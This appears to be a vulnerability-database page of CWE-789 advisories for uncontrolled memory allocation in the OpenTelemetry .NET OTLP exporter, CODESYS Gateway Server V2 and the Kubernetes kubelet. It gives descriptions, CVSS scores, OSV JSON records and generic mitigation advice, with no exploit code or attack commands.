https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564 introduced a change to read the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter for both gRPC and HTTP/protobuf.

An unintended consequence of this change is that the response body is fully read into memory when received with no upper-bound.

This vulnerability was surfaced during the investigation of GHSA-w8rr-5gcm-pp58.

Impact

If an application using the OTLP exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.

Mitigation

The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.

Workarounds

None known.

Remediation

#7017 updates the OTLP exporter for both gRPC and HTTP to:

  • Limit the number of bytes read from the response body in an error condition to 4MiB (see https://github.com/open-telemetry/opentelemetry-proto/pull/781);
  • Only attempt to read the response body if OpenTelemetry error logging is enabled.
Severity
5.3 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "OpenTelemetry.Exporter.OpenTelemetryProtocol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.1"
            },
            {
              "fixed": "1.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-23T21:26:10Z",
    "nvd_published_at": "2026-04-23T18:16:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen exporting telemetry to a back-end/collector over gRPC or HTTP using OpenTelemetry Protocol format (OTLP), if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.\n\nThis could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.\n\n### Details\n\nhttps://github.com/open-telemetry/opentelemetry-dotnet/pull/6564 introduced a change to read the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter for both [gRPC](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpGrpcExportClient.cs#L123-L134) and [HTTP/protobuf](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpHttpExportClient.cs#L36-L41).\n\nAn unintended consequence of this change is that the response body is [fully read into memory when received with no upper-bound](https://github.com/open-telemetry/opentelemetry-dotnet/blob/640cf63628567b76b348b26988920dbc0b5c1662/src/OpenTelemetry.Exporter.OpenTelemetryProtocol/Implementation/ExportClient/OtlpExportClient.cs#L68-L89).\n\nThis vulnerability was surfaced during the investigation of GHSA-w8rr-5gcm-pp58.\n\n### Impact\n\nIf an application using the OTLP exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.\n\n### Mitigation\n\nThe application\u0027s configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.\n\n### Workarounds\n\nNone known.\n\n### Remediation\n\n[#7017](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7017) updates the OTLP exporter for both gRPC and HTTP to:\n\n- Limit the number of bytes read from the response body in an error condition to 4MiB (see https://github.com/open-telemetry/opentelemetry-proto/pull/781);\n- Only attempt to read the response body if OpenTelemetry error logging is enabled.",
  "id": "GHSA-q834-8qmm-v933",
  "modified": "2026-04-23T21:26:10Z",
  "published": "2026-04-23T21:26:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-q834-8qmm-v933"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/6564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-proto/pull/781"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry dotnet: OTLP exporter reads unbounded HTTP response bodies"
}

GHSA-QHGM-4R4G-J663

Vulnerability from github – Published: 2022-06-25 00:01 – Updated: 2022-06-25 00:01
VLAI
Details

The CODESYS Gateway Server V2 does not verifiy that the size of a request is within expected limits. An unauthenticated attacker may allocate an arbitrary amount of memory, which may lead to a crash of the Gateway due to an out-of-memory condition.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-31804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-24T08:15:00Z",
    "severity": "HIGH"
  },
  "details": "The CODESYS Gateway Server V2 does not verifiy that the size of a request is within expected limits. An unauthenticated attacker may allocate an arbitrary amount of memory, which may lead to a crash of the Gateway due to an out-of-memory condition.",
  "id": "GHSA-qhgm-4r4g-j663",
  "modified": "2022-06-25T00:01:01Z",
  "published": "2022-06-25T00:01:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31804"
    },
    {
      "type": "WEB",
      "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QHM4-JXV7-J9PQ

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2023-01-27 21:42
VLAI
Summary
Allocation of Resources Without Limits or Throttling and Uncontrolled Memory Allocation in Kubernetes
Details

The Kubelet component in versions 1.15.0-1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via the kubelet API, including the unauthenticated HTTP read-only API typically served on port 10255, and the authenticated HTTPS API typically served on port 10250.

Severity
4.3 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.17.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8551"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-06T21:53:58Z",
    "nvd_published_at": "2020-03-27T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Kubelet component in versions 1.15.0-1.15.9, 1.16.0-1.16.6, and 1.17.0-1.17.2 has been found to be vulnerable to a denial of service attack via the kubelet API, including the unauthenticated HTTP read-only API typically served on port 10255, and the authenticated HTTPS API typically served on port 10250.",
  "id": "GHSA-qhm4-jxv7-j9pq",
  "modified": "2023-01-27T21:42:48Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8551"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/89377"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/87913"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/commit/9802bfcec0580169cffce2a3d468689a407fa7dc"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/kubernetes-security-announce/2UOlsba2g0s"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3SOCLOPTSYABTE4CLTSPDIFE6ZZZR4LX"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200413-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Allocation of Resources Without Limits or Throttling and Uncontrolled Memory Allocation in Kubernetes"
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list